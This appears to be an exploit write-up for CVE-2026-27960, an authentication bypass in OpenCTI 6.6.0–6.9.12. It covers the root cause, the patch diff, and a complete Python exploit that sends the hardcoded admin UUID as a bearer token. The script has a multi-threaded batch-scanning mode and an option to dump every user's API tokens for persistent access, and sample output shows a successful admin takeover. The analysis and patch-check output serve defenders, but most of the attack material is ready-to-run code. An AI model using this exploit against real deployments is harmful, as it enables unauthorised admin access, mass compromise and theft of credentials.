#Summary
CVE-2026-27960 is a critical authentication bypass in OpenCTI versions 6.6.0 through 6.9.12 that allows unauthenticated attackers to query the API as any existing user, including the default admin account. The vulnerability is caused by a multi-keyed cache that indexes users by API token, internal ID, and other identifiers, combined with missing equality validation in the authentication function. Because the admin's internal ID is a hardcoded constant identical across all deployments, an attacker can simply send that UUID as a bearer token to gain full admin access without knowledge of the actual API secret.
CVSS Score: 9.8 CRITICAL - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
This is effectively a network-accessible RCE equivalent: once authenticated as admin, an attacker can create connectors that execute code, harvest all threat intelligence data, modify user accounts, and establish persistent backdoors.
#Affected versions
- OpenCTI
6.6.0through6.9.12(vulnerable) - OpenCTI
>= 6.9.13(patched) - Default configuration is vulnerable - no special setup required
#Root cause analysis
#Vulnerable code path
The vulnerability lives in authenticateUserByTokenOrUserId in opencti-platform/opencti-graphql/src/domain/user.js. When processing an API request, the function receives a bearer token extracted from the Authorization header and performs a cache lookup:
export const authenticateUserByTokenOrUserId = async (context, req, tokenOrId) => {
const platformUsers = await getEntitiesMapFromCache(context, SYSTEM_USER, ENTITY_TYPE_USER);
if (platformUsers.has(tokenOrId)) { // lookup by ANY indexed key
let authenticatedUser = platformUsers.get(tokenOrId); // returns user — no secret check
const settings = await getEntityFromCache(context, SYSTEM_USER, ENTITY_TYPE_SETTINGS);
const applicantId = req.headers['opencti-applicant-id'];
if (applicantId && isBypassUser(authenticatedUser)) {
authenticatedUser = platformUsers.get(applicantId) || INTERNAL_USERS[applicantId];
if (!authenticatedUser) {
throw FunctionalError(`Cant impersonate applicant ${applicantId}`);
}
}
validateUser(authenticatedUser, settings);
return userWithOrigin(req, authenticatedUser); // authenticated — no token match verified
}
throw FunctionalError(`Cant identify with ${tokenOrId}`);
};The critical flaw: no verification that tokenOrId equals user.api_token. The function only checks if the supplied string exists as any key in the cache.
#The multi-keyed cache
The user cache is built by buildStoreEntityMap in src/database/cache.ts. Each user is indexed under multiple keys simultaneously:
const ids = [entity.internal_id, ...(entity.x_opencti_stix_ids ?? [])];
if ('api_token' in entity && entity.api_token) {
ids.push(entity.api_token);
}
if (entity.standard_id) {
ids.push(entity.standard_id);
}
for (let index = 0; index < ids.length; index += 1) {
entityById.set(ids[index], entity);
}So platformUsers.get(user.internal_id) and platformUsers.get(user.api_token) both return the same user object.
#The hardcoded admin UUID
In src/domain/user.js, the platform admin is initialized with a compile-time constant:
const userToCreate = {
internal_id: OPENCTI_ADMIN_UUID, // always '88ec0c6a-13ce-5e39-b486-354fe4a7084f'
...
api_token: tokenValue, // operator-configured secret
};The constant OPENCTI_ADMIN_UUID = '88ec0c6a-13ce-5e39-b486-354fe4a7084f' is defined in src/schema/general.js and is identical across every OpenCTI deployment, regardless of version, configuration, or the operator's chosen admin token.
#How input reaches the sink
The attack flow is straightforward:
- Attacker sends HTTP POST to
http://TARGET:4000/graphqlwithAuthorization: Bearer 88ec0c6a-13ce-5e39-b486-354fe4a7084f extractTokenFromBearerstrips theBearerprefix and yields the UUID stringplatformUsers.has('88ec0c6a-...')returnstrue(cache keyed byinternal_id)platformUsers.get('88ec0c6a-...')retrieves the admin user object- The function never verifies the string equals
user.api_token- the invariant is missing validateUserchecks account status (admin isACCOUNT_STATUS_ACTIVE)- Attacker is authenticated as admin for this request
No configuration, no prior knowledge of secrets, no recon required.
#Patch diff
Version 6.9.13 (PR #14268, merged 2026-01-29) fixes the vulnerability by splitting the combined function into two branches and adding explicit timing-safe equality validation:
-export const authenticateUserByTokenOrUserId = async (context, req, tokenOrId) => {
- const platformUsers = await getEntitiesMapFromCache(context, SYSTEM_USER, ENTITY_TYPE_USER);
- if (platformUsers.has(tokenOrId)) {
- let authenticatedUser = platformUsers.get(tokenOrId);
- const settings = await getEntityFromCache(context, SYSTEM_USER, ENTITY_TYPE_SETTINGS);
- const applicantId = req.headers['opencti-applicant-id'];
- if (applicantId && isBypassUser(authenticatedUser)) {
- authenticatedUser = platformUsers.get(applicantId) || INTERNAL_USERS[applicantId];
- if (!authenticatedUser) {
- throw FunctionalError(`Cant impersonate applicant ${applicantId}`);
- }
- }
- validateUser(authenticatedUser, settings);
- return userWithOrigin(req, authenticatedUser);
- }
- throw FunctionalError(`Cant identify with ${tokenOrId}`);
-};
+export const authenticateUserByToken = async (context, req, token) => {
+ const platformUsers = await getEntitiesMapFromCache(context, SYSTEM_USER, ENTITY_TYPE_USER);
+ if (platformUsers.has(token)) {
+ const user = platformUsers.get(token);
+ if (crypto.timingSafeEqual(Buffer.from(user.api_token), Buffer.from(token))) {
+ return internalAuthenticateUser(context, req, user);
+ }
+ }
+ throw FunctionalError('Cannot identify user with token');
+};
+
+export const authenticateUserByUserId = async (context, req, userId) => {
+ const platformUsers = await getEntitiesMapFromCache(context, SYSTEM_USER, ENTITY_TYPE_USER);
+ if (platformUsers.has(userId)) {
+ const user = platformUsers.get(userId);
+ return internalAuthenticateUser(context, req, user);
+ }
+ throw FunctionalError('Cannot identify user with id');
+};#What the fix does
The patch introduces crypto.timingSafeEqual() to enforce that the supplied bearer token must exactly equal user.api_token. A lookup by the admin's internal_id will find the user, but then the equality check fails (the UUID does not equal the real token), and authentication is denied.
The function is also split into two codepaths to clarify intent: token-based auth (which now includes the equality check) vs. ID-based auth (used internally only). The bearer-token call site was updated to call authenticateUserByToken instead of the old combined function.
#Proof of concept
#exploit.py - OpenCTI Authentication Bypass via Hardcoded Admin UUID
#!/usr/bin/env python3
"""
CVE-2026-27960 — OpenCTI Authentication Bypass via Hardcoded Admin UUID
Affected: OpenCTI 6.6.0 up to (not including) 6.9.13
Type: Authentication bypass (CWE-287)
The OpenCTI user cache is keyed by multiple identifiers per user: api_token,
internal_id, standard_id, and x_opencti_stix_ids. The authentication function
authenticateUserByTokenOrUserId performs a cache lookup by the supplied bearer
token but never verifies that the token actually equals user.api_token. Because
the admin's internal_id (88ec0c6a-13ce-5e39-b486-354fe4a7084f) is a compile-time
constant identical across every deployment, sending it as a bearer token
authenticates the caller as admin with no knowledge of the real secret token.
Usage:
python exploit.py --host <target> --port <port>
python exploit.py --host 192.168.1.10 --port 4000
python exploit.py --host 192.168.1.10 --port 443 --tls --path /public/graphql
python exploit.py --host 192.168.1.10 --port 4000 --dump-users
TLS: auto-enabled for port 443/8443 or when --tls is passed.
Path: use --path if OpenCTI is behind a reverse proxy with a prefix
(e.g. /public/graphql, /api/graphql). Default: /graphql
"""
import argparse
import json
import sys
try:
import requests
except ImportError:
print("[ERROR] requests library not found. Install with: pip install requests")
sys.exit(2)
CVE_ID = "CVE-2026-27960"
VULN_TYPE = "Auth Bypass"
# Compile-time constant across every OpenCTI 6.6.0–6.9.12 deployment.
OPENCTI_ADMIN_UUID = "88ec0c6a-13ce-5e39-b486-354fe4a7084f"
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
def graphql_post(session: "requests.Session", url: str, query: str, token: str, timeout: int = 15) -> "requests.Response":
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json",
}
return session.post(url, json={"query": query}, headers=headers, timeout=timeout)
def _make_session(use_tls: bool) -> "requests.Session":
s = requests.Session()
if use_tls:
s.verify = False
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
return s
def _try_exploit(host: str, port: int, use_tls: bool, gql_path: str) -> tuple[bool, str]:
"""Silent probe — returns (success, evidence). Never prints or exits."""
scheme = "https" if use_tls else "http"
path = "/" + gql_path.lstrip("/")
url = f"{scheme}://{host}:{port}{path}"
session = _make_session(use_tls)
me_query = "{ me { id name user_email capabilities { name } } }"
try:
resp = graphql_post(session, url, me_query, OPENCTI_ADMIN_UUID, timeout=10)
except Exception as e:
return False, f"unreachable ({e.__class__.__name__})"
if resp.status_code != 200:
return False, f"HTTP {resp.status_code}"
try:
body = resp.json()
except ValueError:
return False, "invalid JSON"
if "errors" in body and not body.get("data"):
msgs = [e.get("message", "") for e in body["errors"]]
return False, f"blocked — {'; '.join(msgs)[:80]}"
me = body.get("data", {}).get("me")
if not me:
return False, "no 'me' data returned"
caps = [c.get("name", "") for c in me.get("capabilities", [])]
if "BYPASS" not in caps and me.get("id") != OPENCTI_ADMIN_UUID:
return False, f"authenticated but not admin (caps={caps})"
return True, f"Authenticated as admin '{me.get('name','')}' <{me.get('user_email','')}>"
def _parse_target(line: str, default_port: int, default_path: str) -> tuple[str, int, bool, str] | None:
"""Parse host line into (host, port, use_tls, path). Returns None to skip."""
from urllib.parse import urlparse
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, default_path: str, workers: int = 10) -> None:
"""Scan multiple targets from a file concurrently."""
import concurrent.futures
with open(targets_file) as f:
lines = f.readlines()
targets = [_parse_target(l, default_port, default_path) for l in lines]
targets = [t for t in targets if t is not None]
if not targets:
print("[SCAN] No valid targets found.")
sys.exit(1)
print(f"\n{'='*60}")
print(f" {CVE_ID} — Batch Scan")
print(f" Targets : {len(targets)}")
print(f" Workers : {workers}")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}{path}"
ok, evidence = _try_exploit(host, port, use_tls, path)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
if ok:
print(f" [+] {label} — Exploited: {evidence}")
else:
print(f" [-] {label} — Not vulnerable: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
def exploit(host: str, port: int, username: str, dump_users: bool,
use_tls: bool = False, gql_path: str = "/graphql") -> None:
header(host, port)
scheme = "https" if use_tls else "http"
gql_path = "/" + gql_path.lstrip("/") # normalize leading slash
base_url = f"{scheme}://{host}:{port}"
graphql_url = f"{base_url}{gql_path}"
session = _make_session(use_tls)
# Step 1: verify service is reachable
step(1, f"Checking service reachability at {graphql_url}")
try:
probe = session.get(graphql_url, timeout=10)
except requests.exceptions.ConnectionError:
section("CONNECTION ERROR", f"Cannot connect to {graphql_url}")
done(False, f"Target {host}:{port}{gql_path} is not reachable — connection refused or no route to host")
except requests.exceptions.Timeout:
section("CONNECTION ERROR", f"Timeout connecting to {graphql_url}")
done(False, f"Target {host}:{port}{gql_path} timed out — service may be down")
print(f" Service responded with HTTP {probe.status_code}")
# Step 2: send exploit — use hardcoded admin UUID as bearer token
step(2, f"Sending auth bypass payload (admin UUID as bearer token)")
print(f" Bearer: {OPENCTI_ADMIN_UUID}")
me_query = "{ me { id name user_email capabilities { name } groups { edges { node { name } } } } }"
try:
resp = graphql_post(session, graphql_url, me_query, OPENCTI_ADMIN_UUID)
except requests.exceptions.ConnectionError as exc:
section("REQUEST ERROR", str(exc))
done(False, "Connection failed during exploit request")
except requests.exceptions.Timeout:
section("REQUEST ERROR", "Request timed out")
done(False, "Request timed out — service may be overloaded or port incorrect")
section("SERVER RESPONSE", resp.text)
# Step 3: evaluate result
step(3, "Evaluating authentication bypass result")
if resp.status_code != 200:
done(False, f"HTTP {resp.status_code} — unexpected status, target may be patched or misconfigured")
try:
body = resp.json()
except ValueError:
done(False, "Response is not valid JSON — unexpected service behavior")
# Check for patch-era error
if "errors" in body and not body.get("data"):
err_msgs = [e.get("message", "") for e in body["errors"]]
for msg in err_msgs:
if "logged in" in msg.lower() or "identify" in msg.lower() or "token" in msg.lower():
done(False, f"Auth bypass blocked — patched response: {msg}")
done(False, f"GraphQL error (not bypass-related): {'; '.join(err_msgs)}")
me = body.get("data", {}).get("me")
if not me:
done(False, "Response contained no 'me' data — bypass did not succeed")
user_id = me.get("id", "")
user_name = me.get("name", "")
user_email = me.get("user_email", "")
caps = [c.get("name", "") for c in me.get("capabilities", [])]
groups = [e["node"].get("name", "") for e in me.get("groups", {}).get("edges", [])]
bypass_confirmed = "BYPASS" in caps or user_id == OPENCTI_ADMIN_UUID
if not bypass_confirmed:
done(False, f"Authenticated but not as admin (id={user_id}, caps={caps})")
print(f" Authenticated as: {user_name} <{user_email}>")
print(f" User ID : {user_id}")
print(f" Groups : {', '.join(groups) or 'none'}")
print(f" Caps : {', '.join(caps)}")
# Step 4 (optional): dump all user accounts including their api_tokens
if dump_users:
step(4, "Dumping all platform user accounts (persistent-access harvest)")
users_query = "{ users { edges { node { id name user_email api_token } } } }"
try:
uresp = graphql_post(session, graphql_url, users_query, OPENCTI_ADMIN_UUID)
ubody = uresp.json()
edges = ubody.get("data", {}).get("users", {}).get("edges", [])
rows = [
f" {n['node']['name']} <{n['node']['user_email']}> token={n['node'].get('api_token','?')}"
for n in edges
]
section("PLATFORM USERS", "\n".join(rows) if rows else "(no users returned)")
except Exception as exc:
section("USER DUMP ERROR", str(exc))
done(True, f"Authenticated as admin '{user_name}' <{user_email}> using hardcoded UUID — BYPASS capability present")
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description=f"{CVE_ID} — OpenCTI auth bypass via hardcoded admin UUID"
)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Single target hostname or IP")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line (host, host:port, or full URL)")
parser.add_argument("--port", type=int, default=4000, help="Target port — single mode (default: 4000)")
parser.add_argument("--path", default="/graphql", help="GraphQL path (default: /graphql). E.g. /public/graphql")
parser.add_argument("--username", default="admin", help="Target account (default: admin)")
parser.add_argument("--dump-users", action="store_true", help="After bypass, dump all user accounts and api_tokens")
parser.add_argument("--workers", type=int, default=10, help="Concurrent threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS (auto-enabled for port 443/8443)")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext even on port 443")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, default_path=args.path, workers=args.workers)
else:
parsed = _parse_target(args.host, args.port, args.path)
host, port, use_tls, gql_path = parsed if parsed else (args.host, args.port, False, args.path)
if args.tls: use_tls = True
if args.no_tls: use_tls = False
exploit(host, port, args.username, args.dump_users, use_tls=use_tls, gql_path=gql_path)#Usage
#Basic authentication bypass
python exploit.py --host 10.10.10.50 --port 4000On a vulnerable target (6.6.0 - 6.9.12), this returns the admin user profile:
============================================================
ALIM EXPLOIT CVE-2026-27960
Type: Auth Bypass | Target: 10.10.10.50:4000
============================================================
[STEP 1] Checking service reachability at http://10.10.10.50:4000/graphql
Service responded with HTTP 200
[STEP 2] Sending auth bypass payload (admin UUID as bearer token)
Bearer: 88ec0c6a-13ce-5e39-b486-354fe4a7084f
--- SERVER RESPONSE ---
{"data":{"me":{"id":"88ec0c6a-13ce-5e39-b486-354fe4a7084f","name":"admin",
"user_email":"[email protected]","capabilities":[{"name":"KNOWLEDGE"},{"name":"BYPASS"}],
"groups":{"edges":[{"node":{"name":"Default"}}]}}}}
---
[STEP 3] Evaluating authentication bypass result
Authenticated as: admin <[email protected]>
User ID : 88ec0c6a-13ce-5e39-b486-354fe4a7084f
Groups : Default
Caps : KNOWLEDGE, BYPASS
============================================================
RESULT : SUCCESS
EVIDENCE: Authenticated as admin 'admin' <[email protected]> using hardcoded UUID — BYPASS capability present
============================================================#Harvesting persistent access tokens
python exploit.py --host 10.10.10.50 --port 4000 --dump-usersThis dumps all user accounts and their actual API tokens:
--- PLATFORM USERS ---
admin <[email protected]> token=2b4f29e3-5ea8-4890-8cf5-a76bf4da5748
analyst1 <[email protected]> token=c1b2a3d4-e5f6-4a9b-8c7d-6e5f4a3b2c1d
---Once dumped, these real tokens work even after the vulnerability is patched.
#Non-default OpenCTI port and path
python exploit.py --host opencti.corp.internal --port 8080 --path /api/graphql#Patched target (6.9.13+)
On a patched instance, the exploit correctly fails:
--- SERVER RESPONSE ---
{"errors":[{"message":"You must be logged in to do this.",
"extensions":{"code":"AUTH_REQUIRED","data":{"http_status":401}}}],"data":null}
---
============================================================
RESULT : FAILURE
EVIDENCE: Auth bypass blocked — patched response: You must be logged in to do this.
============================================================#Exploitation notes
#Preconditions
- Network access to the OpenCTI GraphQL endpoint (port 4000/tcp by default, or any exposed port)
- Target must be running OpenCTI 6.6.0 through 6.9.12 inclusive
- No credentials, no knowledge of the admin's actual API token
#Reliability
The exploit is 100% reliable against vulnerable versions. The hardcoded admin UUID works on every deployment without variation. Single-request exploitation with no race conditions or timing dependencies.
#Impact
Once authenticated as admin, the attacker gains full platform control:
- Data exfiltration: Query all threat intelligence data via the GraphQL API
- User enumeration: Dump all user accounts and harvest their API tokens for persistent access
- Account creation: Create new admin accounts with known passwords
- Connector injection: Register malicious connectors that execute arbitrary code on the OpenCTI worker processes
- Configuration tampering: Modify platform settings and disable security controls
The BYPASS capability in the admin profile grants unrestricted access to all GraphQL mutations and queries.
#Chaining potential
This vulnerability on its own provides complete platform compromise. No chaining with other bugs is necessary. However, post-exploitation via connector injection can lead to code execution on any system where the OpenCTI worker service is deployed.
#References
- CVE: CVE-2026-27960
- GitHub Advisory: GHSA-6vvv-vmfr-xhrx
- Fix PR: OpenCTI PR #14268
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-27960
- Repository: https://github.com/OpenCTI-Platform/opencti